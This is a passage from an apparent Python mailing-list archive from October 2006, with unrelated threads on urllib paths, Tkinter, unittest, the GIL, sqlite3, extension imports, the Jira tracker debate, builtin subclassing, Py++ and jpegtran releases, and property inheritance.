_number_to_method = { #-> '0' : _0, #-> '1' : _1, #-> '2' : _2, #-> '3' : _3, #-> '4' : _4, #-> '7' : _7, #-> '8' : _8, #-> '9' : _9, #-> } ################ The most recent version of SE is now 2.3 with a rare malfunction corrected. (SE from http://cheeseshop.python.org/pypi/SE/2.2%20beta) From cito at online.de Sat Oct 14 23:00:44 2006 From: cito at online.de (Christoph Zwerschke) Date: Sun, 15 Oct 2006 05:00:44 +0200 Subject: Bug in urllib? In-Reply-To: <2cu2j2952nmbrj8rqs56trb7bur1jj6ig1@4ax.com> References: <2cu2j2952nmbrj8rqs56trb7bur1jj6ig1@4ax.com> Message-ID: goyatlah wrote: > urllib.url2pathname("http://127.0.0.1:1030/js.cgi?pca&r=12181") > gives IOError : Bad Url, only coz of the :1030 which should be > accurate portnumber. Is it something I did wrong, or a bug. And what > to do to avoid this (except rewriting url2pathname)? >>> help(urllib.url2pathname) url2pathname(url) OS-specific conversion from a relative URL of the 'file' scheme to a file system path; not recommended for general use. So first, you must use a URL of the 'file' scheme, not of the 'http' scheme. This is something like: 'file://localhost/C|/srv/cgi.bin/js.cgi' or 'file:///C|/srv/cgi.bin/js.cgi Second, it must be a "relative URL" which is a bit mistakable here. What is actually meant is that you must not prepend it with 'file:'. So you have to pass '//localhost/C|/srv/cgi.bin/js.cgi' or '///C|/srv/cgi.bin/js.cgi' On Windows, this will give you: >>> urllib.url2pathname('//localhost/C|/srv/cgi.bin/js.cgi') C:\srv\cgi.bin\js.cgi The docs at http://docs.python.org/lib/module-urllib.html say basically the same, you need to pass the *path component* of an URL, not the complete URL. -- Christoph From fuzzyman at gmail.com Sun Oct 1 11:28:13 2006 From: fuzzyman at gmail.com (Fuzzyman) Date: 1 Oct 2006 08:28:13 -0700 Subject: AN Intorduction to Tkinter In-Reply-To: <1159672543.243321.18760@b28g2000cwb.googlegroups.com> References: <1159303606.988830.54800@e3g2000cwe.googlegroups.com> <451A314F.3060703@isy.liu.se> <1159395485.824735.319090@b28g2000cwb.googlegroups.com> <1159419097.556600.160750@k70g2000cwa.googlegroups.com> <1159488825.144496.86610@c28g2000cwb.googlegroups.com> <1159672543.243321.18760@b28g2000cwb.googlegroups.com> Message-ID: <1159716493.370791.87430@b28g2000cwb.googlegroups.com> flyingisfun1217 at gmail.com wrote: > Sorry about that. > > As far as I can tell, its not anything to do with your code. I think > its something with tkinter modules. Sorry about misleading you. > > Thanks for the help, I'm sure you'll hear from me soon again. In > fact... Unless you post the following, no-one is able to help you : * Which examples you have a problem with * What code you actually ran (and how you ran it - inside IDLE, at the command line) * What went wrong, or the full traceback of the error For what it's worth, I've found the following resources useful for Tkinter : http://www.ferg.org/thinking_in_tkinter/index.html http://www.python.org/doc/life-preserver/ http://infohost.nmt.edu/tcc/help/pubs/tkinter/ http://tkinter.unpythonic.net/wiki/ http://www.3dartist.com/WP/python/tknotes.htm All the best, Fuzzyman http://www.voidspace.org.uk > > FlyingIsFun1217 From fonnesbeck at gmail.com Thu Oct 12 13:24:37 2006 From: fonnesbeck at gmail.com (Chris Fonnesbeck) Date: Thu, 12 Oct 2006 13:24:37 -0400 Subject: problem including tests in unittest Message-ID: <723eb6930610121024m27cea08bsd6847399df8001d@mail.gmail.com> I have a module for which I am trying to code a unit test. However, when I run unittest.main(), I get: In [1]: import PyMC In [2]: PyMC.unittest.main() ---------------------------------------------------------------------- Ran 0 tests in 0.000s OK This is confusing, because I have set up a class called MCMCTest that is a sublcass of unttest.TestCase, which in turn contains a test method. Yet, unittest seems not to be aware of it. Is there anything I am forgetting? Thanks, Chris -- Chris Fonnesbeck + Atlanta, GA + http://trichech.us From gagsl-py at yahoo.com.ar Tue Oct 24 20:01:17 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Tue, 24 Oct 2006 21:01:17 -0300 Subject: How to find out the directory that the py file is in? In-Reply-To: <1161733168.997417.298450@i42g2000cwa.googlegroups.com> References: <1161733168.997417.298450@i42g2000cwa.googlegroups.com> Message-ID: <7.0.1.0.0.20061024205752.03bf35c0@yahoo.com.ar> At Tuesday 24/10/2006 20:39, PengYu.UT at gmail.com wrote: >I have the following python script and some_command in the same >directory. I have to call the python script from that directory. >Otherwise, some_command won't be found. I'm wondering how to make the >following script working no matter what the working directory is. print os.path.abspath(__file__) -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From robert.kern at gmail.com Mon Oct 2 13:01:42 2006 From: robert.kern at gmail.com (Robert Kern) Date: Mon, 02 Oct 2006 12:01:42 -0500 Subject: Python threads and Numeric/SciPy exploit Dual Core ? In-Reply-To: References: Message-ID: robert wrote: > Fredrik Lundh wrote: > >> "robert" wrote: >> >>> Simple Python code obviously cannot use the dual core by Python threads. >>> Yet, a program drawing CPU mainly for matrix computations - preferably >>> with Numeric/SciPy - will this profit from a dual core when using 2 (or >>> more) Python threads? >> >> as long as the binding releases the GIL, sure. > > Thus - does Numeric/SciPy release it? Depends. Some of the linear algebra functions in scipy do. Most operations do not. People are looking at adding more. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From fredrik at pythonware.com Tue Oct 24 12:35:22 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 24 Oct 2006 18:35:22 +0200 Subject: python GUIs comparison (want) In-Reply-To: <453e3c5a$0$23254$426a74cc@news.free.fr> References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <453E3370.9060008@kevin-walzer.com> <453e3c5a$0$23254$426a74cc@news.free.fr> Message-ID: Christophe wrote: > Also, the Tkinter API is far less elegant than the others. huh? create object, display object, create object, display object. sure looks like plain old Python to me... From ardsrk at gmail.com Sun Oct 29 22:10:51 2006 From: ardsrk at gmail.com (ArdPy) Date: 29 Oct 2006 19:10:51 -0800 Subject: Very simple request about argument setting. In-Reply-To: <1162173597.849028.25940@m7g2000cwm.googlegroups.com> References: <1162173597.849028.25940@m7g2000cwm.googlegroups.com> Message-ID: <1162177851.172060.228610@m7g2000cwm.googlegroups.com> Hakusa at gmail.com wrote: > I have the argument items in my class room. > > class room: > def __init__(self, name, description, items*): > > I thought I remembered from a tutorial I read once, and I've read so > many I feel like an expert of them, that putting a little star* above > an item makes it accept the argument as a list. But when I tried this, > I got an invalid syntax error message. > There is an error in the syntax the star must prefix the variable name not suffix it. Then the items variable will accept the parameter value as a tuple. > So: > Question 1: How can I create an argument that accepts a list of > variable? It is not clear whether you want to accept a list variable or an arbitrary number of values as parameter to the function. So I will explain each case. def ex(name,*items): Here name, description and items can all accept lists as arguments. Additionally items can accept arbitrary number of arguments even of different types. Ex: ex([10,12],12,13.3,'Python') > > Question 2: How do I signify to accept each item as one list? (my bet's > on using another set of parens) I have answered this already. > > Question 3: Or am I going about this all wrong and should always create > a list before the fuction call and use the list in the function call? No need u can pass a list directly into the call. From fredrik at pythonware.com Wed Oct 11 16:57:31 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 11 Oct 2006 22:57:31 +0200 Subject: python 2.5 & sqlite3 In-Reply-To: <1160598897.399515.290620@m7g2000cwm.googlegroups.com> References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com> Message-ID: BartlebyScrivener wrote: > Sorry, I have a knack for making things more difficult than they need > to be. I'm on Windows XP and waiting for the ActiveState release of > Python 2.5. I want to experiment with sqlite and I see that Python 2.5 > has the "wrapper" but sqlite itself must be downloaded separately. why not just grab the *official* 2.5 release from python.org instead of wasting time on broken distributions? From toby.tan at gmail.com Mon Oct 30 19:38:34 2006 From: toby.tan at gmail.com (Toby) Date: 30 Oct 2006 16:38:34 -0800 Subject: Error importing .pyd python extension Message-ID: <1162255114.879457.175290@h48g2000cwc.googlegroups.com> Hi, I've managed to get my hands on the ms 2003 toolkit, and have successfully (i think) created a .pyd file in win xp (setup.py is provided intersystems cache): -------------------------------------------------------------------- C:\CacheSys\Dev\python>setup.py install enter directory where you installed Cache'c:\CacheSys libdir=c:\CacheSys\dev\cpp\lib include dir=c:\CacheSys\dev\cpp\include running install running build running build_py running build_ext running install_lib creating C:\Program Files\Python243\Lib\site-packages\intersys copying build\lib.win32-2.4\intersys\pythonbind.py -> C:\Program Files\Python243 \Lib\site-packages\intersys copying build\lib.win32-2.4\intersys\pythonbind1.pyd -> C:\Program Files\Python2 43\Lib\site-packages\intersys copying build\lib.win32-2.4\intersys\__init__.py -> C:\Program Files\Python243\L ib\site-packages\intersys byte-compiling C:\Program Files\Python243\Lib\site-packages\intersys\pythonbind. py to pythonbind.pyc byte-compiling C:\Program Files\Python243\Lib\site-packages\intersys\__init__.py to __init__.pyc C:\CacheSys\Dev\python>cd \program files\python243\Lib\site-packages\intersys\ C:\Program Files\Python243\Lib\site-packages\intersys>dir Volume in drive C is SYSTEM Volume Serial Number is 3835-49DE Directory of C:\Program Files\Python243\Lib\site-packages\intersys 31/10/2006 10:47 AM . 31/10/2006 10:47 AM .. 19/10/2006 05:50 PM 1,598 pythonbind.py 31/10/2006 10:47 AM 1,961 pythonbind.pyc 31/10/2006 09:44 AM 69,632 pythonbind1.pyd 17/07/2006 05:34 PM 2 __init__.py 31/10/2006 10:47 AM 145 __init__.pyc 5 File(s) 73,338 bytes 2 Dir(s) 16,709,017,600 bytes free -------------------------------------------------------------------- However, when I try to import pythonbind1.pyd I get the following error: Traceback (most recent call last): File "C:\PROGRA~1\ACTIVE~1.5\lib\support\dbgp\pythonlib\dbgp\client.py", line 1843, in runMain self.dbg.runfile(debug_args[0], debug_args) File "C:\PROGRA~1\ACTIVE~1.5\lib\support\dbgp\pythonlib\dbgp\client.py", line 1538, in runfile h_execfile(file, args, module=main, tracer=self) File "C:\PROGRA~1\ACTIVE~1.5\lib\support\dbgp\pythonlib\dbgp\client.py", line 596, in __init__ execfile(file, globals, locals) File "C:\Program Files\Python243\Lib\site-packages\intersys\tobytest.py", line 1, in __main__ import pythonbind1.pyd ImportError: DLL load failed: The specified module could not be found. Any suggestions? From noway at sorry.com Wed Oct 4 17:16:10 2006 From: noway at sorry.com (Giovanni Bajo) Date: Wed, 04 Oct 2006 21:16:10 GMT Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> <7xk63gry9z.fsf@ruckus.brouhaha.com> <7-udnWt7IMm9aL7YnZ2dnUVZ_qSdnZ2d@speakeasy.net> Message-ID: A.M. Kuchling wrote: >> The surprise people are expressing is because they thought one of the >> goals of a big open source project would be to avoid reliance on >> closed tools. > > I don't think Python has ever had this as a goal. Python's license > lets it be embedded in closed-source products; Windows binaries are > built using closed-source tools (MS Visual C), and on some platforms > we use a closed-source system compiler; python.org used to be a > Solaris box, and now uses SourceForge which runs on top of DB/2... Notice that there is a different between "allowing/helping/supporting non-free software" and "avoid reliance on non-free software". The fact that Python license allows it to be used in non-free products falls in the former, while the usage of Jira is part of the latter. Distributing binaries compiled with closed-source tools is not a problem since people can still compile it with different free compilers. > IMHO, using Jira presents risks that are manageable: > [...] > > * A data export is available if we decide to switch. [...] Out of curiosity, how is this obtained? Is this any plan to take a daily export or so? -- Giovanni Bajo From lycka at carmen.se Fri Oct 27 10:14:48 2006 From: lycka at carmen.se (Magnus Lycka) Date: Fri, 27 Oct 2006 16:14:48 +0200 Subject: Python 2.5 ; Effbot console ; thank ; pb release. In-Reply-To: <453ce1a9$0$25910$ba4acef3@news.orange.fr> References: <453ce1a9$0$25910$ba4acef3@news.orange.fr> Message-ID: M?ta-MCI wrote: > Hi! (***sorry for my approximative english***) That's ok. Quite amusing to read that you were repaired. > A few months ago, I needed a console, under Windows. > After several research, I selected the console of EffBot. > > Thank you very much, Fredrik Lundh, for this small tool, > quite practical and which repaired me well. > > Then, Python 2.5 arrived. That doesn't mean it's clever to use 2.5 right now... There's plenty of code which isn't adapted to 2.5 yet. Personally, I use 2.4 at work (although sometimes I still need to be 2.2 compatible) and at home I have both 2.4 and 2.5 installed. Most of the time I work with 2.4 since I use packages which don't support 2.5 yet (or at least the last time I checked). From steve at holdenweb.com Thu Oct 5 08:20:43 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 05 Oct 2006 13:20:43 +0100 Subject: Subclassing built-in classes In-Reply-To: <1160048997.394218.3760@c28g2000cwb.googlegroups.com> References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com> Message-ID: MonkeeSage wrote: > I know that python doesn't allow extending built-in objects like the > str class; but you can subclass them using a class of the same name and > thus shadow them to get the same general effect (albeit you have to use > the explicit constructor rather than literals). > > class str(str): > def display(self): > print self > str('blah').display() > > I was just playing around and realized that assigning to > __builtins__.str (or if you prefer sys.modules['__builtin__'].str) has > the same effect. > > class mystr(str): > def display(self): > print self > __builtins__.str = mystr > str('blah').display() > > So that made me wonder...couldn't python (in theory) allow for literals > to use extended classes by using the object in __builtins__. as > the class for literals? By default it would be the standard base class, > but it could also be a custom subclass. Would that be possible / easy / > worthwhile to do? > Unfortunately the literals are interpreted during bytecode generation, before the compiled program is available, and your modifications to __builtns__ haven't been made, so the answer is "no", I'm afraid. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From roman.yakovenko at gmail.com Fri Oct 20 14:25:21 2006 From: roman.yakovenko at gmail.com (Roman Yakovenko) Date: Fri, 20 Oct 2006 20:25:21 +0200 Subject: [ANN]Py++-0.8.2 In-Reply-To: <7465b6170610200214i653c2128g45a15f0b303734d7@mail.gmail.com> References: <7465b6170610200214i653c2128g45a15f0b303734d7@mail.gmail.com> Message-ID: <7465b6170610201125w7ac77ee5kccd3375b87ddc363@mail.gmail.com> I'm glad to announce the new version of Py++. Download page: http://language-binding.net/pyplusplus/download.html What is it? Py++ is an object-oriented framework for creating a code generator for Boost.Python library. Project home page: http://language-binding.net/pyplusplus/pyplusplus.html The new version introduces quite few improvements: * performance, in some case x10 * fully automatic algorithm for exposing C++ get\set functions as Python properties. * treatment for previously generated, but no more in use, source files * convenience API for translating user defined exception to Python one * generated code - improved formatting * better understanding of call policies: - default_call_policies should not be generated any more - return_value_policy< return_opaque_pointer >, Py++ will create specialization for type_id function, as required by the library * documentation, new chapters were written, all source code in documentation is highlighted using pykleur package. Dependencies: Py++-0.8.2 depends on pygccxml-0.8.2. -- Roman Yakovenko C++ Python language binding http://www.language-binding.net/ From hxianping at gmail.com Thu Oct 26 02:29:01 2006 From: hxianping at gmail.com (steve) Date: 25 Oct 2006 23:29:01 -0700 Subject: How the event list be sent to EventManager? Message-ID: <1161844141.057735.252310@e3g2000cwe.googlegroups.com> The example code from: http://sjbrown.ezide.com/games/example1.py.html ... def Notify( self, event ): if not isinstance(event, TickEvent): Debug( " Message: " + event.name ) for listener in self.listeners.keys(): #If the weakref has died, remove it and continue #through the list if listener is None: del self.listeners[ listener ] continue listener.Notify( event ) I can not figure out how 'event' can has reference to 'event.name'? Anyhow the 'event' has not defined! The 'event' dynamically get its own type through isinstance(event,TickEvent):...? From nogradi at gmail.com Sun Oct 29 15:17:05 2006 From: nogradi at gmail.com (Daniel Nogradi) Date: Sun, 29 Oct 2006 21:17:05 +0100 Subject: lossless transformation of jpeg images In-Reply-To: <5f56302b0610291115k32e58ba6s72757b1ba1d51f69@mail.gmail.com> References: <5f56302b0610291115k32e58ba6s72757b1ba1d51f69@mail.gmail.com> Message-ID: <5f56302b0610291217r21425ae9vcaba963dd58c10f4@mail.gmail.com> > Hi all, > > Last time I checked PIL was not able to apply lossless transformations > to jpeg images so I've created Python bindings (or is it a wrapper? I > never knew the difference :)) for the jpegtran utility of the > Independent Jpeg Group. > > The jpegtran utility is written in C and is very efficient, fast and > robust. It can rotate, flip, transpose and transverse jpeg images in a > lossless way, see www.ijg.org for more details. > > The bindings allow you to use all jpegtran features from Python. > > Downloads are here: http://ebiznisz.hu/python-jpegtran/ > > Any feedback is very welcome, especially if you are able to compile it > on non-standard platforms. It has been tested on Linux and Python 2.3. > > Usage example: > > import jpegtran > > transformer = jpegtran.transformer( ) > > transformer.rotate( 90, 'pic.jpg', 'pic_rotated.jpg' ) > transformer.flip( 'horizontal', 'pic.jpg', 'pic_flipped.jpg' ) > transformer.transpose( 'pic.jpg', 'pic_transposed.jpg' ) > transformer.transverse( 'pic.jpg', 'pic_transversed.jpg' ) > transformer.gray( 'pic.jpg', 'pic_gray.jpg' ) Oh, I forgot to mention that this is a very preliminary release, there is no support for distutils or any other intelligent packaging tool, it uses 'make' so probably will only work on Unix flavours. Although it should compile on Windows as well. From joncle at googlemail.com Fri Oct 13 11:28:48 2006 From: joncle at googlemail.com (Jon Clements) Date: 13 Oct 2006 08:28:48 -0700 Subject: Loops Control with Python In-Reply-To: References: Message-ID: <1160753328.450832.223610@i42g2000cwa.googlegroups.com> Wijaya Edward wrote: > Can we make loops control in Python? > What I mean is that whether we can control > which loops to exit/skip at the given scope. > > For example in Perl we can do something like: > > OUT: > foreach my $s1 ( 0 ...100) { > > IN: > foreach my $s2 (@array) { > > if ($s1 == $s2) { > next OUT; > } > else { > last IN; > } > > } > } > > How can we implement that construct with Python? Literally. for si in range(100 + 1): for s2 in some_array: if s1 == s2: break Same thing, but nicer. for si in range(100 + 1): if si in some_array: # Do something here..... Cheers, Jon. From http Fri Oct 13 06:20:31 2006 From: http (Paul Rubin) Date: 13 Oct 2006 03:20:31 -0700 Subject: Efficiently iterating over part of a list References: Message-ID: <7x8xjk4ivk.fsf@ruckus.brouhaha.com> Steven D'Aprano writes: > for i in range(1, len(alist)): > x = alist[i] a2 = iter(alist) a2.next() # throw away first element for x in a2: ... From ilias at lazaridis.com Tue Oct 17 12:32:01 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 17 Oct 2006 09:32:01 -0700 Subject: Python component model In-Reply-To: <1161101573.420548.276270@e3g2000cwe.googlegroups.com> References: <1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net> <1160538736.856864.175990@i42g2000cwa.googlegroups.com> <1160699534.615400.115130@i42g2000cwa.googlegroups.com> <1161066886.872563.150970@e3g2000cwe.googlegroups.com> <1161101573.420548.276270@e3g2000cwe.googlegroups.com> Message-ID: <1161102721.003063.88340@h48g2000cwc.googlegroups.com> Peter Wang wrote: > Ilias Lazaridis wrote: > > Peter Wang wrote: > > > Ilias Lazaridis wrote: > > > > what about persistency? > > > > > > Um... what about it? > > > > " > > As far as I can see, there's no persistency binding available. > > > > Is one planned? > > " > > http://groups.google.com/group/comp.lang.python/msg/dbdaedc68eee653a > > This thread was just some name-calling between you and Robert Kern, but > didn't really provide any details. I've just asked about persistency. No names called from my side. > I guess I'm too dumb to understand the question... Does pickle not work > for you? What is a "persistency binding"? I think I got my answer. Thank's for your responses. . -- http://case.lazaridis.com/wiki/Stack From paul at boddie.org.uk Thu Oct 19 14:41:21 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 19 Oct 2006 11:41:21 -0700 Subject: invert or reverse a string... warning this is a rant References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: <1161283281.065339.290070@i3g2000cwc.googlegroups.com> James Stroud wrote: > > It would provide symmetry for reversing any sequence (without requiring > an iterator). > > (1,2,3).reversed() > > "123".reversed() > > [1,2,3].reversed() That might infuriate those who regard strings as "mischievous" sequences (ie. things which cause errors because you think you have a list, but you're actually accessing characters in a string), but it's a valid point: the built-in sequence types should, within reason, provide a similar interface. The proposed solution involving slicing syntax does seem odd in the sense that it's highly similar to the redundant-for-strings s[:] operation, and it might require inspiration for anyone looking for convenience methods on the string object to consider using slicing instead in this manner. In looking for alternative approaches, I became somewhat distracted by the classic approach you'd use with certain functional languages: convert the string into a list of characters (if it isn't already treated as a list), reverse the list, concatenate the list. The following requires Python 2.4: "".join(list(reversed(list(s)))) I guess Python 2.5 has the reversed method of which you speak. Still, the simplest things are often the best, and Python's classic operators (indexing, slicing) should always be kept in mind. Paul From steve at REMOVE.THIS.cybersource.com.au Sat Oct 21 01:28:18 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sat, 21 Oct 2006 15:28:18 +1000 Subject: invert or reverse a string... warning this is a rant References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: On Thu, 19 Oct 2006 20:07:27 -0400, Brad wrote: > Steven D'Aprano wrote: > >> Gah!!! That's *awful* in so many ways. > > Thanks... I'm used to hearing encouragement like that. After a while you > begin to believe that everything you do will be awful, so why even > bother trying? Well obviously I hit a sore point. I wrote a little hastily, and wasn't quite as polite as I could have been -- but it is true, the function you wrote isn't good: a seven line function with five problems with it. Your function was not at all Pythonic; but it isn't even good style for any serious programming language I know of. I'm sorry if I came across as abrasive, but I'm even sorrier that you can't take constructive criticism. Some techniques are bad practice in any language. > It has been my experience that Python has discouraging forums with > someone always calling someone else an idiot or telling them they are > awful in some way. I love Python, but the community is way too negative, > uptight and generally down on users who do not have PhD's in CS or Math. > > Do you have children? How would your child feel if he brought you > something he had made and you then told him it was awful in *sooo* many > ways. How does that reflect on you and the community you represent? You don't need a PhD to write good code. And do you really want to be treated as a child? Perhaps I could/should have sugar-coated my earlier comments, but I've seen no reason to retract any of them. -- Steven. From fredrik at pythonware.com Thu Oct 5 03:25:21 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 05 Oct 2006 09:25:21 +0200 Subject: Python/Tkinter crash. In-Reply-To: References: Message-ID: Eric Brunel wrote: > AFAIK, Tkinter is not thread safe. Using some kind of lock to serialize > the calls from different threads may seem to work (I never tested it > actually), but the safest way I found to use threads with Tkinter was to > call it only from the thread where the main loop executes. the Tkinter binding contains some code that attempts to deal with re- entrant calls, but I don't know/remember to what extent it's actually supposed to work (in other words, if the observed problems are bugs or just limitations). (maybe Martin's memory is better?) anyway, I usually play it safe and make sure to use a single thread to deal with the UI. From johnjsal at NOSPAMgmail.com Mon Oct 30 11:36:09 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Mon, 30 Oct 2006 16:36:09 GMT Subject: Observation on "Core Python Programming" In-Reply-To: <1162224331.430454.64940@m73g2000cwd.googlegroups.com> References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com> <1162223991.134767.33560@m73g2000cwd.googlegroups.com> <1162224331.430454.64940@m73g2000cwd.googlegroups.com> Message-ID: John Coleman wrote: > John Coleman wrote: >> John Salerno wrote: >>> John Coleman wrote: >>>> Greetings, >>>> My copy of the second edition of Chun's "Core Python Programming" >>>> just arrived from Amazon on Friday. >>> Who would you say the book is aimed at? Advanced programmers? I thought >>> about getting it, but I'm not sure if it will be either 1) too much >>> repetition of the basics I've already learned (which isn't necessarily a >>> bad thing), or 2) too advanced for me right now. >>> >>> Thanks. >> It strikes me as being aimed at intermediate programmers who don't have >> much familiarity with Python. I bought it since my only other book on >> Python ("Learning Python" by Lutz) is somewhat dated now and because I >> find that I'm a slow learner and it usually takes me a couple of books >> by independent authors to "get" a language. The publisher's page is >> more informative than what you see on Amazon. You can see the table of >> contents and read a sample chapter there to help you decide if the book >> is for you: >> http://vig.prenhall.com/catalog/academic/product/1,4096,0130260363,00.html >> >> HTH >> >> -John Coleman > > I just realized that I gave the link to the first edition site. The > second edition site doesn't give a sample chapter (but does give the > complete preface) and still provides a good feel for the book: > http://vig.prenhall.com/catalog/academic/product/0,1144,0132269937,00.html > > Sorry for any confusion > > -John Coleman > Thanks very much. From ray_usenet at yahoo.com Mon Oct 2 00:34:49 2006 From: ray_usenet at yahoo.com (Ray) Date: 1 Oct 2006 21:34:49 -0700 Subject: windev vs python SOS In-Reply-To: References: Message-ID: <1159763689.438498.115860@h48g2000cwc.googlegroups.com> st?phane bard wrote: > hello, my boss ask me to prefer windev to python. > I have to argue > > any idea for a strong argument ? * WinDev is a virtual unknown outside France. I tried asking a bunch of colleagues about WinDev just now. Nobody has even heard about it. Prior to doing Java I was doing Windows development for years--never a single time I heard about this thing. This can be much more significant than you think--there's a huge difference between developing something in a language that has a lot of websites, books, forum, etc. dedicated to it, and a proprietary IDE. I developed using a proprietary product I won't name here for about 2 years... the support was horrible, and the product SUCKS big time. * Python is known world-wide, there are already many books written by very, very intelligent people--you can "borrow" their brains anytime through their books. There are many online resources at your fingertips if you come across a problem. This group is also chock full of very smart people, some of whom contribute code to Python itself. Wonder how much do you have to pay WinDev for support? (If your boss really doesn't like Python, you might as well use Visual Basic, since it has a lot of free resources, Microsoft newsgroups, and so on.) From msherman77 at yahoo.com Wed Oct 25 07:14:54 2006 From: msherman77 at yahoo.com (Michael S) Date: Wed, 25 Oct 2006 07:14:54 -0400 (EDT) Subject: No subject In-Reply-To: <7.0.1.0.0.20061024234603.042e0058@yahoo.com.ar> Message-ID: <20061025111454.39434.qmail@web88303.mail.re4.yahoo.com> Thanks Gabriel. I think I'll try calling my module from a separate thread as calling wxPython or even Python code from C would be a bit complicated. My extension calls simple functions, but the issue was that the files I operate on are huge in size and Python was taking a long time and/or choking. --- Gabriel Genellina wrote: > At Tuesday 24/10/2006 23:25, Michael S wrote: > > >I extended part of my program in C, since that part > >was too involved for Python. Now when I import the > >module I created and call its functions, I am > trying > >to feedback some information bac to my wxPython > >program. The function runs for a while and I wanted > to > >update a progress bar, but when I call the function > of > >my new module, wxPython doesn't respond when > wx.Timer > >is supposed to fire. > > Does your extension run on a separate thread? I > guess not. So the > wxPython code does not have a chance to run. > Do it the other way: from your C code, call a Python > function which > in turn updates the progress bar (and keep it > simple!) > > > -- > Gabriel Genellina > Softlab SRL > > __________________________________________________ > Correo Yahoo! > Espacio para todos tus mensajes, antivirus y > antispam ???gratis! > ???Abr??? tu cuenta ya! - http://correo.yahoo.com.ar > From steve at holdenweb.com Sun Oct 1 13:11:25 2006 From: steve at holdenweb.com (Steve Holden) Date: Sun, 01 Oct 2006 18:11:25 +0100 Subject: Is this a bug? Python intermittently stops dead for seconds In-Reply-To: References: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net> Message-ID: Roel Schroeven wrote: > Charlie Strauss schreef: > >>On Oct 1, 2006, at 9:48 AM, Fredrik Lundh wrote: >> >>>charlie strauss wrote: >>> >>>>Could you clarify that for me. GC really has three components >>>>two it: 1) finding and freeing unrefernced memory by refer >>>>refer counts 2) cycle removal and 3) defragementing the >>>>storage stack. If I turn off GC, don't I lose all of these? >>>> >>> >>>CPython always does (1), only does (2) if cycle-breaking GC isn't >>>disabled, and never does (3). >> > [snip] > >>And just to be clear: are you saying that when I do a gc.disable this >>only turns off 2 and not 1? The docs don't say that as far as I can >>tell. > > > AFAIK Python always does reference counting, and the garbage collector > is used only for more difficult cases. As the gc module docs say: > "Since the collector supplements the reference counting already used in > Python, you can disable the collector if you are sure your program does > not create reference cycles." > > I don't know if that's only true for CPython or also for the other > implementations. > Read the documentation: the garbage collector is called regularly in CPython. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From sferriol at imag.fr Wed Oct 25 10:55:04 2006 From: sferriol at imag.fr (Sylvain Ferriol) Date: Wed, 25 Oct 2006 16:55:04 +0200 Subject: class method question Message-ID: hello can you explain why python does not see difference between instance method and class method, having the same name example >>> class toto(object): ... def f(self): ... print('instance method') ... @classmethod ... def f(cls): ... print('class method') ... >>> t=toto() >>> t.f > >>> t.f() class method >>> toto.f() class method if i do the same in ruby: """ class Toto def meth print "instance method\n" end def Toto.meth print "class method\n" end end i = Toto.new i.meth Toto.meth """ $> ruby1.9 test_classmethod.rb instance method class method thanks sylvain From johnjsal at NOSPAMgmail.com Thu Oct 5 09:49:09 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 05 Oct 2006 13:49:09 GMT Subject: can't open chm files all of a sudden In-Reply-To: References: <45233927$0$1761$c3e8da3@news.astraweb.com> <45233a81$0$30748$c3e8da3@news.astraweb.com> <1159951350.208619.222470@m73g2000cwd.googlegroups.com> <45247002$0$14726$c3e8da3@news.astraweb.com> Message-ID: Dennis Lee Bieber wrote: > On Wed, 04 Oct 2006 22:36:10 -0400, John Salerno > declaimed the following in comp.lang.python: > >> John Machin wrote: >> >>> 4. Have you done a full virus and spy-ware scan? Do you regularly >>> install Windows updates from Microsoft? >> Well, this is certainly the last thing I expected to work, but it did! >> There was something called an IECache cookie (which I've actually had >> before) and after removing it my chm files open now! Thanks for >> suggesting this! I was desperate! :) > > Probably some stray left behind by HTML KIt ... Remember, the > rendering engine is NOT Internet Explorer only, it is shared by the > desktop file Explorer, the help viewer, etc.... LOL. I was also asking for help in the HTML Kit newsgroup, and of course they assured me that HTML Kit does not change chm settings or replace dlls, nor is it related to this piece of spyware. :) From DustanGroups at gmail.com Fri Oct 20 18:28:06 2006 From: DustanGroups at gmail.com (Dustan) Date: 20 Oct 2006 15:28:06 -0700 Subject: Inheriting property functions Message-ID: <1161383286.543397.46700@m73g2000cwd.googlegroups.com> Looking at this interactive session: >>> class A(object): def __init__(self, a): self.a = a def get_a(self): return self.__a def set_a(self, new_a): self.__a = new_a a = property(get_a, set_a) >>> class B(A): b = property(get_a, set_a) Traceback (most recent call last): File "", line 1, in class B(A): File "", line 2, in B b = property(get_a, set_a) NameError: name 'get_a' is not defined >>> class B(A): b = a Traceback (most recent call last): File "", line 1, in class B(A): File "", line 2, in B b = a NameError: name 'a' is not defined >>> B isn't recognizing its inheritence of A's methods get_a and set_a during creation. Why am I doing this? For an object of type B, it makes more sense to reference the attribute 'b' than it does to reference the attribute 'a', even though they are the same, in 